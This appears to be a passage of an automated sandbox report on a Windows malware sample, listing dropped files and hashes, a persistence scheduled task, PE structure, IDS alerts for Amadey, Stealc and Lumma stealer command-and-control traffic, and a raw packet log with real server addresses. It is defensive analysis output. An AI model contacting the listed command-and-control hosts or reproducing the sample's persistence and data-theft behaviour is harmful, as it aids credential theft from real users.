MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.495717849433938
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6ILZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeVFNMr4yrdwc0
MD5:	1762E39445F1ACD538C60DBAF14C94E8
SHA1:	063622906FEB8DD61EC3F14A8F107C9DCB32717E
SHA-256:	9C81CA371D0E2C1959D71ABAD9245560647773B0F93D7FFD6C48A261111E131F
SHA-512:	437EDB8B245AB78BD9FED5364E1ADDF067F27A6ABF80A8102D11D7D114AC660D587A51AC7E57A9C66CF614D41B83735BA8625240419D0C0A0BA5F8B283C1A3E2
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.495717849433938
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6ILZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeVFNMr4yrdwc0
MD5:	1762E39445F1ACD538C60DBAF14C94E8
SHA1:	063622906FEB8DD61EC3F14A8F107C9DCB32717E
SHA-256:	9C81CA371D0E2C1959D71ABAD9245560647773B0F93D7FFD6C48A261111E131F
SHA-512:	437EDB8B245AB78BD9FED5364E1ADDF067F27A6ABF80A8102D11D7D114AC660D587A51AC7E57A9C66CF614D41B83735BA8625240419D0C0A0BA5F8B283C1A3E2
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.401818780532496
Encrypted:	false
SSDEEP:	6:LqgaDtXUhXUEZ+lX1CGdKUe6tE9+AQy0llt0:ebZ4Q1CGAFD9+nVlt0
MD5:	B10B7AC3147A6922C75AAA554C2F4EDC
SHA1:	8DDBCFB68F84BF856065FA97FB2801AECFA2789F
SHA-256:	688980F85F8C65C21D5C43BBCCFBAB8E59AF5C9BCCD0E123BD120B30A16E569B
SHA-512:	0CD32DCBB53AD6BA7024B7E64287501EBC679ECF94FFD7DC457F9503200470FFACB0915DE3110B9FCA75A551BBCD3BCC68BD965C1D6B05B83C9BEBF5990A0356
Malicious:	false
Preview:	....U....,.G.. .\...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................2.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.61873239954862
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'195'392 bytes
MD5:	4873dec39296c80c3863e04149e492bb
SHA1:	4ceb2e1553a82ac5f05cefc8c1b688e768c92de3
SHA256:	172e1e49642648745fefdbebd4c76c41049a4f0edd14eeb7904b709f0add5cbc
SHA512:	c827eaf7b8910fdc5d5d9a2d51611573b49a4fffb6fc37cc9279d77f1d05071f0b862dd11b65a69b6ca351a4c1876bee77630e5a8a1c05f806cb7e474969e92c
SSDEEP:	24576:nmtolFr9W3FS3YTpWs3MSWHyf8CnGSSfXFm7a8D1UeyeI6/Dg6ZPpemIFHxe+ASn:mto783LTVv8y9L7an2gH7txMRcSp+9
TLSH:	ACE53A63E90671CFD08A1778842FCE83A95D43A947124DC3EC59E97A7DE3CC925B6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3DB4B4283Ah
push fs
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3DB4B44835h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], cl
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30b3ac	0x10	dckdxrcr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30b35c	0x18	dckdxrcr
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	f15e5ebb3bff6420a53791e3dc48b8e9	False	0.5584622896634616	data	7.0483478624903295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dckdxrcr	0x6b000	0x2a1000	0x2a0400	871e9db685f701689d5c7addfaf87522	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ilcchisc	0x30c000	0x1000	0x400	bcd30a180c94da660a1fcf3a86147914	False	0.77734375	data	6.001285006561568	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30d000	0x3000	0x2200	39b90911dc27b12125946d2e316f6f09	False	0.06640625	DOS executable (COM)	0.7898040427974291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T21:50:05.911967+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49866	185.215.113.43	80	TCP
2024-12-12T21:50:10.394039+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49878	31.41.244.11	80	TCP
2024-12-12T21:50:16.194759+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49872	TCP
2024-12-12T21:50:17.541413+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49895	185.215.113.43	80	TCP
2024-12-12T21:50:19.021535+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49901	185.215.113.16	80	TCP
2024-12-12T21:50:25.106854+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49913	185.215.113.43	80	TCP
2024-12-12T21:50:26.612156+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49919	185.215.113.16	80	TCP
2024-12-12T21:50:33.497938+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49937	185.215.113.43	80	TCP
2024-12-12T21:50:34.990349+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49942	185.215.113.16	80	TCP
2024-12-12T21:50:35.249202+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49941	185.215.113.206	80	TCP
2024-12-12T21:50:43.901540+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49966	185.215.113.43	80	TCP
2024-12-12T21:50:45.452212+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49971	31.41.244.11	80	TCP
2024-12-12T21:50:55.117918+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49997	185.215.113.206	80	TCP
2024-12-12T21:50:56.455345+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50003	185.215.113.43	80	TCP
2024-12-12T21:50:58.097069+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50006	31.41.244.11	80	TCP
2024-12-12T21:51:03.827834+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50017	185.215.113.43	80	TCP
2024-12-12T21:51:05.294423+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50023	31.41.244.11	80	TCP
2024-12-12T21:51:10.478964+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50047	185.215.113.43	80	TCP
2024-12-12T21:51:11.349165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50057	172.67.139.78	443	TCP
2024-12-12T21:51:12.350510+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50057	172.67.139.78	443	TCP
2024-12-12T21:51:12.350510+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50057	172.67.139.78	443	TCP
2024-12-12T21:51:13.670986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50069	172.67.139.78	443	TCP
2024-12-12T21:51:14.685903+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50069	172.67.139.78	443	TCP
2024-12-12T21:51:14.685903+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50069	172.67.139.78	443	TCP
2024-12-12T21:51:16.117221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50072	172.67.139.78	443	TCP
2024-12-12T21:51:17.965537+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50072	172.67.139.78	443	TCP
2024-12-12T21:51:18.709259+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50073	185.215.113.206	80	TCP
2024-12-12T21:51:19.097698+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.6	50074	116.203.10.31	443	TCP
2024-12-12T21:51:19.202890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50075	172.67.139.78	443	TCP
2024-12-12T21:51:21.385463+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.10.31	443	192.168.2.6	50076	TCP
2024-12-12T21:51:21.634172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50077	172.67.139.78	443	TCP
2024-12-12T21:51:23.799211+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.10.31	443	192.168.2.6	50078	TCP
2024-12-12T21:51:23.826282+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50079	172.67.139.78	443	TCP
2024-12-12T21:51:26.542205+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50082	172.67.139.78	443	TCP
2024-12-12T21:51:35.134461+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50102	172.67.139.78	443	TCP
2024-12-12T21:51:39.841856+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50102	172.67.139.78	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 21:50:04.460797071 CET	49866	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:04.580986023 CET	80	49866	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:04.581110001 CET	49866	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:04.581305981 CET	49866	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:04.701179028 CET	80	49866	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:05.911772013 CET	80	49866	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:05.911967039 CET	49866	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:07.423559904 CET	49866	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:07.423969030 CET	49872	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:07.543771982 CET	80	49866	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:07.543853998 CET	49866	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:07.543870926 CET	80	49872	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:07.544121981 CET	49872	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:07.544217110 CET	49872	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:07.663899899 CET	80	49872	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:08.942723989 CET	80	49872	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:08.943361044 CET	49872	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:08.947238922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:09.067348957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:09.067698956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:09.067790031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:09.187592983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.393953085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394038916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394129038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394140959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394165039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394187927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394241095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394248962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394258976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394269943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394272089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394287109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394309044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394584894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394630909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394752979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394762993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.394798994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.394814968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.515338898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.515422106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.515472889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.515575886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.519010067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.519105911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.519208908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.519306898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.526902914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.527003050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.586061954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.586213112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.586252928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.586344957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.590204954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.590310097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.590315104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.590409040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.598650932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.598728895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.601674080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.601788998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.601805925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.601857901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.610209942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.610275984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.610307932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.610368967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.618532896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.618587017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.618611097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.618680000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.626970053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.627079964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.627106905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.627178907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.635524035 CET	80	49878	31.41.244.11	192.168.2.6
